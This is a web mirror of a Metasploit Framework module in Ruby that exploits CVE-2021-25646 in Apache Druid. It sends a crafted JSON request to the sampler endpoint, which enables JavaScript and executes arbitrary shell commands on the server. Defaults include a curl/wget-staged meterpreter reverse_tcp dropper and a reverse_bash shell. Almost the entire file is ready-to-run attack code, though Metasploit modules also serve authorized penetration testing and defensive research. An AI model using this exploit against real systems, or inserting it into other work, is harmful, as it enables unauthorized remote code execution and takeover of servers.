CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/apache_druid_js_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
prepend Msf::Exploit::Remote::AutoCheck
10
include Msf::Exploit::Remote::HttpClient
11
include Msf::Exploit::CmdStager
12
13
def initialize(info = {})
14
super(
15
update_info(
16
info,
17
'Name' => 'Apache Druid 0.20.0 Remote Command Execution',
18
'Description' => %q{
19
Apache Druid includes the ability to execute user-provided JavaScript code embedded in
20
various types of requests; however, that feature is disabled by default.
21
22
In Druid versions prior to `0.20.1`, an authenticated user can send a specially-crafted request
23
that both enables the JavaScript code-execution feature and executes the supplied code all
24
at once, allowing for code execution on the server with the privileges of the Druid Server process.
25
More critically, authentication is not enabled in Apache Druid by default.
26
27
Tested on the following Apache Druid versions:
28
29
* 0.15.1
30
* 0.16.0-iap8
31
* 0.17.1
32
* 0.18.0-iap3
33
* 0.19.0-iap7
34
* 0.20.0-iap4.1
35
* 0.20.0
36
* 0.21.0-iap3
37
},
38
'Author' => [
39
'Litch1, Security Team of Alibaba Cloud', # Vulnerability discovery
40
'je5442804' # Metasploit module
41
],
42
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
43
'References' => [
44
['CVE', '2021-25646'],
45
['URL', 'https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E'],
46
['URL', 'https://github.com/yaunsky/cve-2021-25646/blob/main/cve-2021-25646.py']
47
],
48
'DisclosureDate' => '2021-01-21',
49
'License' => MSF_LICENSE,
50
'Platform' => ['unix', 'linux'],
51
'Targets' => [
52
[
53
'Linux (dropper)', {
54
'Platform' => 'linux',
55
'Type' => :linux_dropper,
56
'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'CmdStagerFlavor' => 'curl' },
57
'CmdStagerFlavor' => %w[curl wget],
58
'Arch' => [ARCH_X86, ARCH_X64]
59
}
60
],
61
[
62
'Unix (in-memory)', {
63
'Platform' => 'unix',
64
'Arch' => ARCH_CMD,
65
'Type' => :unix_memory,
66
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
67
}
68
],
69
],
70
'DefaultTarget' => 0,
71
'Privileged' => false,
72
'Notes' => {
73
'Stability' => [CRASH_SAFE],
74
'Reliability' => [REPEATABLE_SESSION],
75
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
76
}
77
)
78
)
79
80
register_options([
81
Opt::RPORT(8888),
82
OptString.new('TARGETURI', [true, 'The base path of Apache Druid', '/'])
83
])
84
end
85
86
def execute_command(cmd, _opts = {})
87
gencmd = '/bin/sh`@~-c`@~' + cmd
88
genvar = Rex::Text.rand_text_alpha(8..12)
89
genname = Rex::Text.rand_text_alpha(8..12)
90
vprint_status("cmd= #{gencmd} var=#{genvar} name=#{genname}")
91
post_data = {
92
type: 'index',
93
spec: {
94
ioConfig: {
95
type: 'index',
96
firehose: {
97
type: 'local',
98
baseDir: '/etc',
99
filter: 'passwd'
100
}
101
},
102
dataSchema: {
103
dataSource: Rex::Text.rand_text_alpha(8..12),
104
parser: {
105
parseSpec: {
106
format: 'javascript',
107
timestampSpec: {},
108
dimensionsSpec: {},
109
function: "function(){var #{genvar} = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"#{gencmd}\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"#{rand(1..9999999)}\",#{genname}: #{genvar}}}",
110
"": {
111
enabled: 'true'
112
}
113
}
114
}
115
}
116
},
117
samplerConfig: {
118
numRows: 10
119
}
120
}.to_json
121
122
send_request_cgi({
123
'method' => 'POST',
124
'uri' => normalize_uri(target_uri.path, '/druid/indexer/v1/sampler'),
125
'ctype' => 'application/json',
126
'headers' => {
127
'Accept' => 'application/json, text/plain, */*'
128
},
129
'data' => post_data
130
})
131
end
132
133
def check
134
genecho = Rex::Text.rand_text_alphanumeric(16..32).gsub(/A/, 'a')
135
136
vprint_status("Attempting to execute 'echo #{genecho}' on the target.")
137
res = execute_command("echo #{genecho}")
138
unless res
139
return CheckCode::Unknown('Connection failed.')
140
end
141
142
unless res.code == 200
143
return CheckCode::Safe
144
end
145
146
if res.body.include?(genecho)
147
return CheckCode::Vulnerable
148
end
149
150
CheckCode::Unknown('Target does not seem to be running Apache Druid.')
151
end
152
153
def exploit
154
case target['Type']
155
when :linux_dropper
156
execute_cmdstager
157
when :unix_memory
158
execute_command(payload.encoded)
159
end
160
end
161
162
end
163
164